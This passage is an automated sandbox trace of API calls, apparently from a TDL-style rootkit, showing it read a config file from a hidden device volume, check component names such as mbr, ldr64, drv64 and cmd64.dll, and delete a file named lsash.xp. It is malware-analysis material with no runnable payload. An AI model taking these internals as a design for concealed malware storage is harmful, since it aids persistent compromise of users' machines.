KeLeaveCriticalRegion () [0125.493] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.493] ReleaseMutex (hMutex=0xf0) returned 1 [0125.493] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.493] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.493] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.493] KeEnterCriticalRegion () [0125.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.493] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.493] IdePortDispatch () returned 0x103 [0125.493] KeWaitForMutexObject () returned 0x0 [0125.493] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.493] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.493] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.493] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.494] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.494] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7170 [0125.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.494] KeLeaveCriticalRegion () [0125.494] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.494] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.494] KeEnterCriticalRegion () [0125.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.494] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.494] KeLeaveCriticalRegion () [0125.494] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.494] KeEnterCriticalRegion () [0125.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.494] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.494] IdePortDispatch () returned 0x103 [0125.494] KeWaitForMutexObject () returned 0x0 [0125.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.494] KeLeaveCriticalRegion () [0125.494] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.494] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.494] KeEnterCriticalRegion () [0125.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c63000 [0125.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.495] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.495] IdePortDispatch () returned 0x103 [0125.495] KeWaitForMutexObject () returned 0x0 [0125.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.495] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.495] IdePortDispatch () returned 0x103 [0125.495] KeWaitForMutexObject () returned 0x0 [0125.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.495] KeLeaveCriticalRegion () [0125.495] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.496] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.496] KeEnterCriticalRegion () [0125.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.496] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.496] KeLeaveCriticalRegion () [0125.496] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.496] KeEnterCriticalRegion () [0125.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.496] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.496] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.496] KeLeaveCriticalRegion () [0125.496] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.496] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.496] KeEnterCriticalRegion () [0125.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.496] ExFreePoolWithTag (P=0xfffffa8003bf7170, Tag=0x0) [0125.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.496] KeLeaveCriticalRegion () [0125.496] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.496] ReleaseMutex (hMutex=0xf0) returned 1 [0125.497] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.497] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.497] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.497] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.497] KeEnterCriticalRegion () [0125.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.497] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.497] IdePortDispatch () returned 0x103 [0125.498] KeWaitForMutexObject () returned 0x0 [0125.498] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.498] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.498] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.498] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.498] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.498] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.498] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.498] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.498] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.498] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.498] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.498] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.498] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.498] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.498] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.498] KeLeaveCriticalRegion () [0125.498] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.498] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.498] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.498] KeEnterCriticalRegion () [0125.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.499] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.499] IdePortDispatch () returned 0x103 [0125.499] KeWaitForMutexObject () returned 0x0 [0125.499] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.499] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.499] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.499] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.499] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.499] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.499] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.499] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.499] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.499] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.499] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.499] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.499] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.499] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.499] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.499] KeLeaveCriticalRegion () [0125.499] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.499] ReleaseMutex (hMutex=0x100) returned 1 [0125.499] Sleep (dwMilliseconds=0x2bf20) [0125.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e002db0, dwHighDateTime=0x1d24fa4)) [0125.505] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.505] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.505] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.506] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.506] KeEnterCriticalRegion () [0125.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.506] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.506] IdePortDispatch () returned 0x103 [0125.506] KeWaitForMutexObject () returned 0x0 [0125.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.506] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.506] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.506] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.506] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.506] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8db0 [0125.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.506] KeLeaveCriticalRegion () [0125.506] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.506] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.506] KeEnterCriticalRegion () [0125.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.506] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.506] KeLeaveCriticalRegion () [0125.506] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.506] KeEnterCriticalRegion () [0125.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.506] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.506] IdePortDispatch () returned 0x103 [0125.507] KeWaitForMutexObject () returned 0x0 [0125.507] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.507] KeLeaveCriticalRegion () [0125.507] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.507] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.507] KeEnterCriticalRegion () [0125.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.507] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c66000 [0125.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.507] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.507] IdePortDispatch () returned 0x103 [0125.507] KeWaitForMutexObject () returned 0x0 [0125.507] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.507] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.507] IdePortDispatch () returned 0x103 [0125.507] KeWaitForMutexObject () returned 0x0 [0125.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.507] KeLeaveCriticalRegion () [0125.507] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.508] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.508] KeEnterCriticalRegion () [0125.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.508] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.508] KeLeaveCriticalRegion () [0125.508] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.508] KeEnterCriticalRegion () [0125.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.508] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.508] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.508] KeLeaveCriticalRegion () [0125.508] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.508] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.508] KeEnterCriticalRegion () [0125.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.508] ExFreePoolWithTag (P=0xfffffa8003bf8db0, Tag=0x0) [0125.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.508] KeLeaveCriticalRegion () [0125.508] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.508] ReleaseMutex (hMutex=0xf0) returned 1 [0125.508] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.508] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.508] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.508] KeEnterCriticalRegion () [0125.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.509] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.509] IdePortDispatch () returned 0x103 [0125.509] KeWaitForMutexObject () returned 0x0 [0125.509] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.509] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.509] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.509] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.509] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.509] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7070 [0125.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.509] KeLeaveCriticalRegion () [0125.509] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.509] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.509] KeEnterCriticalRegion () [0125.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.509] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.509] KeLeaveCriticalRegion () [0125.510] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.510] KeEnterCriticalRegion () [0125.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.510] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.510] IdePortDispatch () returned 0x103 [0125.510] KeWaitForMutexObject () returned 0x0 [0125.510] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.510] KeLeaveCriticalRegion () [0125.510] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.510] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.510] KeEnterCriticalRegion () [0125.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.510] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6b000 [0125.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 